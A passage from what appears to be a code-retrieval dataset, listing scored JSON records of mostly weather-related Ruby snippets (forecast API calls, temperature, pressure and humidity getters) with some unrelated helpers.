"title": ""
},
{
"docid": "ed89a0c2209452572a0249ba4c2eed24",
"score": "0.5475986",
"text": "def pressure(weather_info)\n\tweather_info[\"currently\"][\"pressure\"]*0.0295301\nend",
"title": ""
},
{
"docid": "f4829af786265457b6af8e210d1cf5a9",
"score": "0.5471987",
"text": "def weather\n @weather\n end",
"title": ""
},
{
"docid": "6892438599bdb1d5120895e799a9e046",
"score": "0.54591405",
"text": "def get_pressure\n @single_city_data[\"main\"][\"pressure\"]\n end",
"title": ""
},
{
"docid": "0d28072fbaba7d60a1eb32d6ccc1df87",
"score": "0.54496044",
"text": "def get_forecast\n @forecast = ForecastIO.forecast( lat, lng )\n end",
"title": ""
},
{
"docid": "4b6af11eb72dc0ef5215664eb346d588",
"score": "0.5432734",
"text": "def get_temperature\n @single_city_data[\"main\"][\"temp\"]\n end",
"title": ""
},
{
"docid": "2de9549c0e8621315da2e63ab7834932",
"score": "0.5388569",
"text": "def futureDays(weather_info)\n\tdays=[]\n\tweather_info[\"daily\"][\"data\"].each do |day|\n\t\tdays << day[\"time\"]\n\tend\n\tputs days\nend",
"title": ""
},
{
"docid": "506efb1bb029f841a88e3f5db1c00a12",
"score": "0.5380574",
"text": "def apparentTemp(info)\n\treturn info[\"currently\"][\"apparentTemperature\"]\nend",
"title": ""
},
{
"docid": "cd95db62414b6daa355b95d41f2e4718",
"score": "0.53683037",
"text": "def currentTemp(info)\n\treturn info[\"currently\"][\"temperature\"]\nend",
"title": ""
},
{
"docid": "4094e79dff5e9f897ec054d466922941",
"score": "0.5348291",
"text": "def weather\n # empty array dates is still fine, not a reason for 400 (happens for venues without courts)\n render json: {} and return if params.dig(:dates).blank?\n\n forecast = WeatherForecaster.call(venue, [*params.require(:dates)])\n json = forecast.transform_values do |value|\n value ? value.slice(*%w(icon temperature)) : nil\n end\n render json: json\n end",
"title": ""
},
{
"docid": "e6e2a059225bbc01cbb3278511c5eddb",
"score": "0.5311629",
"text": "def feelsLike(weather_info)\n\tweather_info[\"currently\"][\"apparentTemperature\"].to_i\nend",
"title": ""
},
{
"docid": "6da8ddd84b320c27edd9e6ef1b850a84",
"score": "0.5300312",
"text": "def get_forecast\n if(!@zipcode)\n @zipcode = \"Oakland, CA\";\n end\n options = { units: \"imperial\", APPID: ENV[\"open_weather_id\"] }\n forecast = OpenWeather::Current.city(@zipcode, options)\n latitude = forecast[\"coord\"][\"lat\"]\n longitude = forecast[\"coord\"][\"lon\"]\n # timezone = Timezone::Zone.new(latlon: [latitude, longitude])\n p latitude\n self.conditions = forecast[\"weather\"].first[\"main\"]\n self.conditions_desc = forecast[\"weather\"].first[\"description\"]\n # object lookup for cond with underscores\n self.sunset = DateTime.strptime(forecast[\"sys\"][\"sunset\"].to_s,'%s')\n self.sunrise = DateTime.strptime(forecast[\"sys\"][\"sunrise\"].to_s,'%s')\n self.date = Date.today\n self.location = forecast[\"name\"]\n self.current_temp = forecast[\"main\"][\"temp\"]\n self.low_temp = forecast[\"main\"][\"temp_max\"]\n self.high_temp = forecast[\"main\"][\"temp_min\"]\n self.humidity = forecast[\"main\"][\"humidity\"]\n end",
"title": ""
},
{
"docid": "53081a9654faebf54c4b8a3021e37fce",
"score": "0.52779305",
"text": "def currentMinTemp(weather_info)\n\tweather_info[\"daily\"][\"data\"][0][\"temperatureMin\"].to_i\nend",
"title": ""
},
{
"docid": "820ce1edc7e77621b847269822a14a1f",
"score": "0.5266766",
"text": "def read_data\n sensor_data = DhtSensor.read(@pin, @sensor_model)\n @temperature = sensor_data.temp\n @humidity = sensor_data.humidity\n [@temperature, @humidity]\n end",
"title": ""
},
{
"docid": "0aa51638b7ca4f4f8280134b9b6a571b",
"score": "0.52641916",
"text": "def lifts_array\n array2 = []\n self.lifts.each do |lift|\n array2 << lift.chart_info_for_lift\n end\n array2\n end",
"title": ""
},
{
"docid": "c492202a2175f4ea49215cfbbf9aeec6",
"score": "0.52428806",
"text": "def weather\n zipcode = self.city.yahoo_zipcode\n weather = Weather.lookup(zipcode, Weather::Units::CELSIUS)\n return {\n title: weather.title, \n temp: \"#{weather.condition.temp.to_s} 度\",\n condition: weather.condition.text\n }\n end",
"title": ""
},
{
"docid": "853708123c71b3c2bf4a573f7e3db4b1",
"score": "0.5220788",
"text": "def intensity(c,i)\n [c[0],c[1],c[2],(c[3]*i) >> 8]\n end",
"title": ""
},
{
"docid": "0f6b6f6dbf369dd2ce0c556abd3ada55",
"score": "0.52197987",
"text": "def precipitation\n @precipitation\n end",
"title": ""
},
{
"docid": "e0cf99850d66ad9b0d35912a0d56fb24",
"score": "0.52155256",
"text": "def get_surf_data\n url = \"http://magicseaweed.com/api/#{ENV['MAGIC_SEAWEED_API_KEY']}/forecast/?spot_id=6128&units=UK\"\n uri = URI(url)\n\n response = Net::HTTP.get(uri)\n ActiveSupport::JSON.decode(response) if response != ''\n end",
"title": ""
},
{
"docid": "84d3d2d908eddb8cb3a404b1121c1efe",
"score": "0.51459694",
"text": "def weather_forecast\n city = self.city\n state = self.state\n ForecastFacade.forecast(city, state)\n end",
"title": ""
},
{
"docid": "f9ad472a2085cf36140c2329a4c8ae6b",
"score": "0.51276106",
"text": "def rain_is_coming?\n today_and_tomorrow = @forecast[\"daily\"][\"data\"][0..1]\n\n rain_is_coming = today_and_tomorrow.any? do |d| \n d[\"precipType\"] == \"rain\" && \n (d[\"precipProbability\"] * d[\"precipIntensity\"]) > RAIN_THRESHOLD\n end\n rain_is_coming\n end",
"title": ""
},
{
"docid": "eb1c0066539e6ae86c55857860912c17",
"score": "0.5121312",
"text": "def tempAt(info, time)\n\treturn info[\"hourly\"][\"data\"][time][\"temperature\"]\nend",
"title": ""
},
{
"docid": "48b3c4c82e7cdead9c3a435ff07ee7c1",
"score": "0.5117248",
"text": "def hourly_forecasts(data)\n @hourly_forecasts = data[:hourly][:data].map do |hourly_forecast|\n #remove to separate method\n forecast = {\n id: hourly_forecast[:time],\n date: Time.at(hourly_forecast[:time]).to_date,\n time: Time.at(hourly_forecast[:time]).to_s.split(\"T\").last.split(\".\").first,\n icon: hourly_forecast[:icon],\n temp: hourly_forecast[:temperature]\n }\n HourlyForecast.new(forecast)\n end\n end",
"title": ""
},
{
"docid": "ea6cfb8c71e9cc111c0d5c4f069e8781",
"score": "0.5109361",
"text": "def scrape_fio_data\n\t# Get all the weather stations\n\tweather_stations = WeatherStation.all\n\t# For each of these weather stations get the forecast\n\tfor weather_station in weather_stations\n\t\tlat_lon = \"#{weather_station.lat},#{weather_station.lon}\"\n\t\tforecast = JSON.parse(open(\"#{BASE_URL}/#{API_KEY}/#{lat_lon}#{UNITS}\").read)\n\t\t# Parse the data which is required\n\t\ttemperature = forecast['currently']['temperature']\n\t\tdew_point = forecast['currently']['dewPoint']\n\t\twind_spd = forecast['currently']['windSpeed']\n\t\twind_dir = forecast['currently']['windBearing']\n\t\train = forecast['currently']['precipIntensity']\n\t\tpersist_data weather_station.name, SOURCEFIO, temperature, dew_point, wind_spd, wind_dir, rain\n\tend\nend",
"title": ""
},
{
"docid": "85db3cad7c94b0984de436c552f700e0",
"score": "0.5078207",
"text": "def pressure(info)\n\treturn (info[\"currently\"][\"pressure\"]*0.02953)\nend",
"title": ""
},
{
"docid": "47c3dd9b2c52c2488f0c9a332556eec6",
"score": "0.5061321",
"text": "def humidity(weather_info)\n\tweather_info[\"currently\"][\"humidity\"]*100\nend",
"title": ""
},
{
"docid": "fc61e067e94c25b69039ceaf7a49a7b6",
"score": "0.50604266",
"text": "def get_weather_main\n get_weather[0][\"main\"]\n end",
"title": ""
},
{
"docid": "357d95a291a3b677045283a57ab9f044",
"score": "0.5050976",
"text": "def city_weather\n self.class.get(\"/data/2.5/forecast\", @options)\n end",
"title": ""
},
{
"docid": "bca88858f442492b3827c3622edd4a0d",
"score": "0.501826",
"text": "def generate_rain_values\n extreme_values = @forecast.extreme_values[:rain]\n values = Hash.new()\n values[:minimum] = extreme_values.minimum.round(3)\n values[:maximum] = extreme_values.maximum.round(3)\n rain_sum = 0\n @forecast.hourly_rain.each { |value|\n rain_sum += value\n }\n values[:sum] = rain_sum.round(3)\n return values\n end",
"title": ""
},
{
"docid": "b5cc886ab0ceb03351427eab04664de0",
"score": "0.50071824",
"text": "def indicators\n return @indicators\n end",
"title": ""
},
{
"docid": "b5cc886ab0ceb03351427eab04664de0",
"score": "0.50071824",
"text": "def indicators\n return @indicators\n end",
"title": ""
},
{
"docid": "2a0c8a4f446866499c74865d26933658",
"score": "0.4996763",
"text": "def rates_prediction\r\n final_array = []\r\n today = today_rate\r\n weekly_change = weekly_percentage_change_array\r\n\r\n first = ((weekly_change[0] / 100) * today) + today\r\n final_array << first\r\n\r\n if @time > 1\r\n i = 0\r\n while i < weekly_change[1].length\r\n rate = ((weekly_change[1][i] / 100) * final_array[i]) + final_array[i]\r\n final_array << rate\r\n i += 1\r\n end\r\n end\r\n final_array\r\n end",
"title": ""
},
{
"docid": "196d1d4333a1222ef2f74847d209b85d",
"score": "0.49773532",
"text": "def get_current_weather( lat, lng )\n\n # geo = Geocoder.search( request.remote_ip ) # Just in case for fallback plan ;)\n\n # p geo[ 0 ].latitude # Just in case for fallback plan ;)\n # p geo[ 0 ].longitude # Just in case for fallback plan ;)\n\n url = \"https://api.darksky.net/forecast/#{ Rails.application.secrets.DARK_SKY_SECRET }/\" + lat + \",\" + lng;\n options = { exclude: \"[minutesly,hourly]\", units: \"auto\" }\n\n response = HTTParty.get( url, :query => options )\n\n currently = {\n \"summary\": response[ \"currently\" ][ \"summary\" ],\n \"last_updated\": Time.at( response[ \"currently\" ][ \"time\" ] ).strftime( \"%a, %b %d, %H:%M\" ),\n \"icon\": response[ \"currently\" ][ \"icon\" ],\n \"temperature\": response[ \"currently\" ][ \"temperature\" ]\n }\n\n tomorrow = response[ \"daily\" ][ \"data\" ][ 1 ]\n tomorrow_weather = {\n \"summary\": tomorrow[ \"summary\" ],\n \"icon\": tomorrow[ \"icon\" ],\n \"min_temperature\": tomorrow[ \"temperatureMin\" ],\n \"max_temperature\": tomorrow[ \"temperatureMax\" ]\n }\n\n weather_summary = { \"currently\": currently, \"tomorrow\": tomorrow_weather }\n\n # Return weather summary\n weather_summary\n end",
"title": ""
},
{
"docid": "79fbf8598c92804b7ba9f8b7347410fe",
"score": "0.49596733",
"text": "def info_service\n GeoDerivatives::Processors::Raster::Info.new(@dataset_path)\n end",
"title": ""
},
{
"docid": "9cc4693e820f1b6f62a7a1b13807e320",
"score": "0.49588615",
"text": "def data_resting\n rest = heart_rate_zones['resting'] ; data = [] ; count = series.length\n count.times { |a| data << rest }\n data\n end",
"title": ""
},
{
"docid": "d1aa74cf8a987d353e036e40c91ef5d2",
"score": "0.49545896",
"text": "def current_temperature(f)\n\treturn to_celcius(f[\"currently\"][\"temperature\"])\nend",
"title": ""
},
{
"docid": "77b8e0385be48e734c5c6f7c55113bcd",
"score": "0.49206337",
"text": "def atmosphere\n atm = attribute('yweather:atmosphere')\n do_convertions(atm, [:humidity, :to_f], [:visibility, :to_f], [:pressure, :to_f], [:rising, :to_f])\n end",
"title": ""
},
{
"docid": "21673f8b3dc64ef4d1c1caffea621102",
"score": "0.4909886",
"text": "def lowTemp(info, day)\n\treturn info[\"daily\"][\"data\"][day][\"temperatureMax\"]\nend",
"title": ""
},
{
"docid": "917c32aad47174121f9d494bf9fcf760",
"score": "0.49092704",
"text": "def show\n @weather = ForecastIO.forecast(@location.latitude, @location.longitude)\n @current_weather = @weather['currently']\n @forecast = @weather['daily']['data']\n end",
"title": ""
},
{
"docid": "9cdcab8c9d56159d3e124aa143c9a2ac",
"score": "0.48865503",
"text": "def sensors\n result = []\n ['f','r',nil,'l'].each do |d|\n if !d\n result << nil\n next\n end\n ny, nx = near_xy(d)\n result << @labirint[ny][nx]\n end\n result\n end",
"title": ""
},
{
"docid": "52c035f9225e7baf5a2637ccd18f19ff",
"score": "0.48849648",
"text": "def calc_weather_icon\n @forecast.keys.each do |period|\n @forecast[period].merge!(\"weather_icon\" => WEATHER_PATH + \"/\" + (@image_icons[@forecast[period][\"conditions\"]] || @image_icons[\"Unknown\"]) + \".png\")\n end\n end",
"title": ""
},
{
"docid": "31fa5b9f44f8a083d3d7b4d85cfc48f6",
"score": "0.4874025",
"text": "def data\n @locais.values\n end",
"title": ""
},
{
"docid": "7200e5fc682f2ca2317d69e9296f8777",
"score": "0.48721394",
"text": "def summary(weather_info)\n\tweather_info[\"currently\"][\"summary\"]\nend",
"title": ""
},
{
"docid": "46672af6681b428e0b9068c53969301e",
"score": "0.48683256",
"text": "def humidity(info)\n\treturn info[\"currently\"][\"humidity\"]*100\nend",
"title": ""
},
{
"docid": "17ea574a05c073f1760b60a4ec60dd88",
"score": "0.4866423",
"text": "def currentMaxTemp(weather_info)\n\tweather_info[\"daily\"][\"data\"][0][\"temperatureMax\"].to_i\nend",
"title": ""
},
{
"docid": "a254fa3f53cb040e31f318847732ccea",
"score": "0.48605618",
"text": "def get_peaks scan\n return nil unless scan \n scan.to_s =~ /\\<peaks\\s.*\\>(\\w+)\\<\\/peaks\\>/\n return $1\n\n pks = [[],[]]; \n if (!@isMzData) then \n pkelm = scan.at('peaks')\n sym = @@BYTEORDER[pkelm[:byteorder]]\n sym.upcase! if (pkelm[:precision].to_i > 32)\n data = Base64.decode64(pkelm.inner_text())\n if (pkelm[:compressiontype] == 'zlib')\n data = Zlib::Inflate.inflate(data)\n end\n tmp = data.unpack(\"#{sym}\")\n tmp.each_index do |idx|\n if (idx % 2 == 0 ) then \n pks[0].push(tmp[idx])\n else\n pks[1].push(tmp[idx])\n end\n end\n else\n # first, get mz array data\n tmp = scan.search('mzArrayBinary/data')\n sym = @@BYTEORDER[tmp.attr('endian')]\n sym.upcase! if (tmp.attr('precision').to_i > 32)\n pks[0] = Base64.decode64(tmp.text()).unpack(sym)\n # mz = Base64.decode64(tmp.text).unpack(sym)\n #now for the intensity array\n tmp = scan.search('intenArrayBinary/data')\n sym = @@BYTEORDER[tmp.attr('endian')]\n sym.upcase! if (tmp.attr('precision').to_i > 32)\n pks[1] = Base64.decode64(tmp.text()).unpack(sym)\n # int = Base64.decode64(tmp.text).unpack(sym)\n end\n pks\n end",
"title": ""
},
{
"docid": "cb5b1996f64387feb468c1e3a58fccf0",
"score": "0.485567",
"text": "def forecasts\n convertions = [[:date, :to_date], [:low, :to_i], [:high, :to_i], [:code, :to_i], :day, :text]\n item_attribute('yweather:forecast').collect do |forecast|\n translate! do_convertions(forecast, *convertions)\n end\n end",
"title": ""
},
{
"docid": "a7e8a42e8649d9ee467ab69e9ba36cc7",
"score": "0.48524433",
"text": "def forecast(city:, days: 3)\n result = api_call(path: '/data/2.5/forecast/daily', query: { q: city, cnt: days, units: 'metric' })\n days = result['list'].map.with_index do |day, i|\n { cloud_cover: day['clouds'],\n condition: day.dig('weather', 0, 'description').titleize,\n date: i.days.from_now.utc.to_date,\n humidity: day['humidity'],\n icon_url: icon_url(icon_id: day.dig('weather', 0, 'icon')),\n pressure: day['pressure'],\n rain: day['rain'],\n snow: day['snow'],\n temp_max: day.dig('temp', 'max'),\n temp_min: day.dig('temp', 'min'),\n wind_deg: day['deg'],\n wind_speed: wind_speed_in_kmh(day['speed']) }\n end\n { city: result.dig('city', 'name'),\n country_code: result.dig('city', 'country'),\n days: days }\n end",
"title": ""
},
{
"docid": "4e7e79a5c582dc931a7ef8a05d197b58",
"score": "0.48406988",
"text": "def allTemp\n\n\t\t# We return the data in an array of hashes\n\t\tdataInput = []\t\t\n\n\t\t# Query the data (every reading that has happened today)\n\t\tdataQuery = Reading.select(:recorded_at, :node_id, :temperature).where(recorded_at: Time.zone.now.beginning_of_day..Time.zone.now.end_of_day).to_a\n\n\t\t# Each data hash will be for a single node\n\t\t@nodeList.each do |node|\n\n\t\t\t# Get the id of the current node\n\t\t\tnode_id = node[0]\n\n\t\t\t# The hash\n\t\t\tnodeHash = {}\n\t\t\t# The name\n\t\t\tnodeHash[:name] = nodeName(node)\n\t\t\t# What we will put the data in\n\t\t\tdataArray = Array.new\n\n\t\t\t# Add data to the array\n\t\t\tdataQuery.each do |query|\n\n\t\t\t\t# This reading comes from our node of interest\n\t\t\t\tif query.node_id == node_id\n\t\t\t\t\t# Format the data into an array entry and push\n\t\t\t\t\treading = [query.recorded_at, query.temperature]\n\t\t\t\t\tdataArray.push(reading)\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\t# Set the data value\n\t\t\tnodeHash[:data] = dataArray\n\t\t\t# Add this node's information to our array\n\t\t\tdataInput.push(nodeHash)\n\n\t\tend\n\n\t\t# Return the result\n\t\treturn dataInput\n\n\tend",
"title": ""
},
{
"docid": "0bbe4456aaab696d8cc2708bd5a96e86",
"score": "0.48382372",
"text": "def vis_output(days)\n [\n self['geometry']['coordinates'][1],\n self['geometry']['coordinates'][0],\n self['magnitudes'][days.to_s]['mag'],\n self['magnitudes'][days.to_s]['count']\n ]\n end",
"title": ""
},
{
"docid": "8bbf7fabd17d67fff142fc211c850579",
"score": "0.4826433",
"text": "def get_data(locality)\n File.open(DATA_DIR+normalize_locality(locality),\"r\").each do |line|\n data = line.split(\"\\t\")\n\n @observation_time = data[0]\n @cloudcover = data[7]\n @humidity = data[4]\n @precip_mm = data[6]\n @presure = data[5]\n @temp_c = data[2]\n @temp_f = data[3]\n @visibility = data[8]\n @weather_code = data[1]\n @weather_desc = data\n @weather_icon_url = data[13][0..-2]\n @winddir_16_point = data[9]\n @winddir_degree = data[10]\n @windspeed_kmph = data[11]\n @windspeed_miles = data[12]\n end\n @locality = normalize_locality(locality)\n end",
"title": ""
},
{
"docid": "019a39263898c4074a4e31b918ba16bd",
"score": "0.4824798",
"text": "def anisotropy_index\n @direct_normal_irradiance / extraterrestrial_irradiance\n end",
"title": ""
},
{
"docid": "5ffc601155e2bb38ae4720f74ea1f05c",
"score": "0.48211518",
"text": "def weather_hourly(city, state)\n request = \"http://api.wunderground.com/api/747e267558954ba9/hourly/q/#{state}/#{city}.json\"\n hourly = HTTParty.get(request)\n hourly[\"hourly_forecast\"].each do |hour| \n puts \"#{hour[\"FCTTIME\"][\"civil\"]}: #{hour[\"temp\"][\"english\"]}F\"\n end\nend",
"title": ""
},
{
"docid": "6a76af03ecdc0b9b65e094fcb0594244",
"score": "0.4814659",
"text": "def current_temperature\n begin\n return @xml.xpath(\"//XMLdata//ibmsys_envstat_tempature\")[0].content.to_f \n rescue #If something is wrong with the data\n return 0.0\n end\n end",
"title": ""
},
{
"docid": "c42630d7bfe72885d35f61bda76363d9",
"score": "0.4804809",
"text": "def info_service\n @info_service ||= GeoWorks::Derivatives::Processors::Raster::Info.new(dataset_path)\n end",
"title": ""
},
{
"docid": "5990de695c20dc9a89405fa953ca174d",
"score": "0.48025087",
"text": "def get_temperature(latitude, longitude)\n @forecast ||= ForecastIO.forecast(latitude, longitude, #do not use spaces in exclude clause!!!\n params: { units: 'si', exclude: 'minutely,hourly,flags,alerts' })\n\n end",
"title": ""
},
{
"docid": "d4b209daab6c1629ac9c35cb94b5c996",
"score": "0.48011434",
"text": "def get_weather_description\n get_weather[0][\"description\"]\n end",
"title": ""
},
{
"docid": "ab4b760104a1c3bc799797c3c95ba1e5",
"score": "0.47931692",
"text": "def determine_snow_jacket_points\n weather_data['list'][0..3].any? { |wd| wd['snow'].try(:keys).try(:any?) } ? 10 : 0\n end",
"title": ""
},
{
"docid": "bfd6a3228dfb2fa0cacd9b1b36a04e51",
"score": "0.47900155",
"text": "def my_temperature\n weather = my_weather\n temps = {\n 'current' => kelvin_to_celcius(weather['main']['temp']),\n 'low' => kelvin_to_celcius(weather['main']['temp_min']),\n 'high' => kelvin_to_celcius(weather['main']['temp_max']),\n }\n \"Temperatures today:\\n#{temps.to_yaml}\"\nend",
"title": ""
},
{
"docid": "e4677ef0f4cb53ecfbf29ff5480a8d2e",
"score": "0.4788615",
"text": "def visibility(weather_info)\n\tweather_info[\"currently\"][\"visibility\"]\nend",
"title": ""
},
{
"docid": "250551c10f4f7d9e68c525dfa4b67a73",
"score": "0.47874832",
"text": "def GetPriceInformation(jsonObj)\n\n\t\t# Need to get yesterday date as it is on American time. Can cause issues\n\t\tcurrentDate = DateTime.yesterday\n\t\t\n\t\tRails.logger.info currentDate.strftime(\"%Y-%m-%d\")\n\n\t\tresultArray = { \"Information\" => \"Forex Data\" ,\n\t\t\t\t\t\t\"Time Zone\" => jsonObj[\"Meta Data\"][\"6. Time Zone\"] ,\n\t\t\t\t\t\t\"Last Refreshed\" => jsonObj[\"Meta Data\"][\"5. Last Refreshed\"] ,\n\t\t\t\t\t\t\"From Symbol\" => jsonObj[\"Meta Data\"][\"2. From Symbol\"] ,\n\t\t\t\t\t\t\"To Symbol\" => jsonObj[\"Meta Data\"][\"3. To Symbol\"] ,\n\t\t\t\t\t\t\"Open\" => jsonObj[\"Time Series FX (Daily)\"][currentDate.strftime(\"%Y-%m-%d\")][\"1. open\"],\n\t\t\t\t\t\t\"High\" => jsonObj[\"Time Series FX (Daily)\"][currentDate.strftime(\"%Y-%m-%d\")][\"2. high\"],\n\t\t\t\t\t\t\"Low\" => jsonObj[\"Time Series FX (Daily)\"][currentDate.strftime(\"%Y-%m-%d\")][\"3. low\"],\n\t\t\t\t\t\t\"Close\" => jsonObj[\"Time Series FX (Daily)\"][currentDate.strftime(\"%Y-%m-%d\")][\"4. close\"]\n\t\t\t\t\t }\n\n\t\treturn resultArray\n\n\tend",
"title": ""
},
{
"docid": "82f0bb546474a9416b0166ea19b85b7e",
"score": "0.47769523",
"text": "def sunrise(weather_info)\n\tnonunix= Time.at(weather_info[\"daily\"][\"data\"][0][\"sunriseTime\"]).to_datetime\n\tnonunix.strftime(\"%-I:%M\" \"%p\")\nend",
"title": ""
},
{
"docid": "518c91648a73c67dff6926bf703722ee",
"score": "0.47658604",
"text": "def forecast(loc)\n\n url = \"#{@base_url}/#{FORECAST_QUERY}/q/#{loc[0]},#{loc[1]}.json\" \n\n result = JSON.parse(open(url).read)\n\n return nil if result['response']['error'] \n return nil unless result['current_observation']\n\n obs = result['current_observation']\n loc = result['current_observation']['observation_location']\n fc = result['forecast']['simpleforecast']\n\n # puts 'Fetching for ' + obs['station_id']\n \n weather = WeatherStation.find_or_create_by_station_id(obs['station_id'])\n\n location = ObservationLocation.new\n\n location.full = loc['full']\n location.city = loc['city']\n location.state = loc['state']\n location.country = loc['country']\n location.country_iso3166 = loc['country_iso3166']\n location.loc = [loc['latitude'].to_f,loc['longitude'].to_f]\n location.elevation = loc['elevation']\n \n weather.observation_location = location\n\n weather.forecasts.clear\n\n fc['forecastday'].each do |f|\n\n forecast = Forecast.new\n\n date = DateTime.strptime(f['date']['epoch'].to_s,'%s')\n\n forecast.date = date\n forecast.conditions = f['conditions']\n forecast.pop = f['pop']\n forecast.high_c = f['high']['celsius']\n forecast.high_f = f['high']['fahrenheit']\n forecast.low_c = f['low']['celsius']\n forecast.low_f = f['low']['fahrenheit']\n\n forecast.qpf_day_mm = f['qpf_day']['mm']\n forecast.qpf_day_in = f['qpf_day']['in']\n forecast.qpf_allday_mm = f['qpf_allday']['mm']\n forecast.qpf_allday_in = f['qpf_allday']['in']\n forecast.qpf_night_mm = f['qpf_night']['mm']\n forecast.qpf_night_in = f['qpf_night']['in']\n\n forecast.snow_day_mm = f['snow_day']['mm']\n forecast.snow_day_in = f['snow_day']['in']\n forecast.snow_allday_mm = f['snow_allday']['mm']\n forecast.snow_allday_in = f['snow_allday']['in']\n forecast.snow_night_mm = f['snow_night']['mm']\n forecast.snow_night_in = f['snow_night']['in']\n\n forecast.wind_max_kph = f['maxwind']['kph'] \n forecast.wind_max_mph = f['maxwind']['mph'] \n forecast.wind_max_dir = f['maxwind']['dir'] \n forecast.wind_max_degrees = f['maxwind']['degrees'] \n\n forecast.wind_ave_kph = f['avewind']['kph'] \n forecast.wind_ave_mph = f['avewind']['mph'] \n forecast.wind_ave_dir = f['avewind']['dir'] \n forecast.wind_ave_degrees = f['avewind']['degrees'] \n\n forecast.humidity_ave = f['avehumidity']\n forecast.humidity_min = f['minhumidity']\n forecast.humidity_max = f['maxhumidity']\n\n weather.forecasts << forecast\n\n end\n\n weather.observation_time_rfc822 = obs['observation_time_rfc822']\n weather.local_time_rfc822 = obs['local_time_rfc822']\n weather.weather = obs['weather']\n weather.temp_f = obs['temp_f']\n weather.temp_c = obs['temp_c']\n weather.relative_humidity = obs['relative_humidity']\n weather.precip_today_metric = obs['precip_today_metric']\n\n return weather\n\n end",
"title": ""
},
{
"docid": "cbe97ecd71ae6833e2f847b8154f021f",
"score": "0.47546023",
"text": "def retrieveCurrentTemperature()\n\tend",
"title": ""
},
{
"docid": "46eb530260f6d1196cd6c82c3c73811d",
"score": "0.47337294",
"text": "def exposure\n market_value\n end",
"title": ""
},
{
"docid": "d4e02d0607723e079d6f3f4ee68b9ac6",
"score": "0.47233576",
"text": "def pixels(i)\r\n i.get_pixels \r\n end",
"title": ""
},
{
"docid": "ea73fa3a2f2dcbc322aeab9704f4e05d",
"score": "0.47163087",
"text": "def impacto_ambiental\n\t\tarray_impacto = [@gei, @terrenousado]\n\t\treturn array_impacto\n\tend",
"title": ""
},
{
"docid": "f9e1a148df0398aac7e8e0c28e1943a3",
"score": "0.47011322",
"text": "def precipChance(info)\n\treturn info[\"currently\"][\"precipProbability\"]*100\nend",
"title": ""
},
{
"docid": "5a8539f626c202153563b818636d09ec",
"score": "0.46863103",
"text": "def current_conditions(city:)\n result = api_call(path: '/data/2.5/weather', query: { q: city, units: 'metric' })\n { city: result['name'],\n cloud_cover: result.dig('clouds', 'all'),\n condition: result.dig('weather', 0, 'description').titleize,\n country_code: result.dig('sys', 'country'),\n icon_url: icon_url(icon_id: result.dig('weather', 0, 'icon')),\n temp: result.dig('main', 'temp'),\n visibility: (result['visibility'] / 1000.0 if result['visibility']),\n wind_deg: result.dig('wind', 'deg'),\n wind_speed: wind_speed_in_kmh(result.dig('wind', 'speed')) }\n end",
"title": ""
},
{
"docid": "b0839c0645ac7371e25b5b272abfafe1",
"score": "0.46836838",
"text": "def data\n @location.full_data[:daily][:data][@days_from_current]\n end",
"title": ""
},
{
"docid": "da98a3827dc6d16a0a0b4cc4a543adce",
"score": "0.4683564",
"text": "def parse_sensors\n sensors = Array.new\n @data[7..12].map.with_index do |s,i|\n index = 7 + i\n zipped = @data[6].zip(@data[index])\n sensors[i] = WFSensor.new\n s.map.with_index do |e,n|\n case n\n when 0\n sensors[i].type = e\n when 1\n sensors[i].present = e \n when 2\n sensors[i].smrec = e\n when 3\n sensors[i].zeroavg = e\n when 4\n sensors[i].model = e \n end\n end\n end\n return sensors\n end",
"title": ""
},
{
"docid": "211e98c73adf4a7e4b3fefdb0ddfa1e1",
"score": "0.4681071",
"text": "def dailySummary(weather_info)\n\tweather_info[\"daily\"][\"summary\"]\nend",
"title": ""
},
{
"docid": "502e4eec5165388912a87a05a953b48b",
"score": "0.46780524",
"text": "def highTemp(info, day)\n\treturn info[\"daily\"][\"data\"][day][\"temperatureMin\"]\nend",
"title": ""
},
{
"docid": "30a120b3eff05f954b82a4ede34452a0",
"score": "0.46777037",
"text": "def windSpeed(weather_info)\n\tweather_info[\"currently\"][\"windSpeed\"]\nend",
"title": ""
},
{
"docid": "6cfcffdca2fa8537334d9bb1dc1204dc",
"score": "0.46417248",
"text": "def collect_temps(data, xschema)\n filtered_temps = Array.new\n temps = data.find_all { |d| d[\"type\"] =~ /MO:Temperature/i }\n temps.each { |d| \n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n d[\"attributes\"] = attrs\n filtered_temps.push d\n }\n filtered_temps = filtered_temps.uniq_by { |d| d[\"attributes\"].nil? ? nil : d[\"attributes\"] }\n return filtered_temps\n end",
"title": ""
},
{
"docid": "e2bb1b6c37eff1ebdec86bdcaa08fe25",
"score": "0.46374908",
"text": "def generate_temperature_values\n extreme_values = @forecast.extreme_values[:air_temperature]\n return { :minimum => extreme_values.minimum.round(3), \n :maximum => extreme_values.maximum.round(3) }\n end",
"title": ""
},
{
"docid": "da6947559e23fdae8f0e4e13e4e60da6",
"score": "0.4617496",
"text": "def get_cup_price_data\r\n prices = Array.new\r\n self.price_of_coffees.all.each do |p|\r\n price = Array.new\r\n # X-Wert ist Zeitstempel, ab wann der Tassenpreis gültig ist (für Highcharts unformatiert in ms seit 1970, UTC) => Addiere 1 Stunden für Zeitzone Berlin\r\n x_value = p.date.to_time.to_i * 1000 + (1000 * 60 * 60)\r\n price.append(x_value)\r\n # Y-Value ist der Preis\r\n y_value = p.price.to_f\r\n price.append(y_value)\r\n prices.append(price)\r\n end\r\n prices\r\n end",
"title": ""
},
{
"docid": "620f4bd67e3f8d2ce8e76d866b84f805",
"score": "0.4617199",
"text": "def IVA (precio_iva)\n precio_iva.map {|plato, precio| precio * 1.19}\n end",
"title": ""
},
{
"docid": "4d9c032067cc5a1479715695a9005f09",
"score": "0.4612642",
"text": "def image_metadata\n return @image_metadata unless @image_metadata.nil?\n count = page_count\n array = []\n (1..page_count).each do |page|\n logical_value = @doc.xpath(\"//mets:structMap[@TYPE='Logical']/mets:div/mets:div[@ORDER='#{page}']\").first.attr(\"TYPE\")\n physical_value = @doc.xpath(\"//mets:structMap[@TYPE='Physical']/mets:div/mets:div[@ORDER='#{page}']\").first.attr(\"TYPE\")\n array << {id: page, physical: physical_value, logical: logical_value}\n end\n @image_metadata = array\n @image_metadata\n end",
"title": ""
},
{
"docid": "9aa6a9c92eea0ce4746a10a182e7cb9e",
"score": "0.46094647",
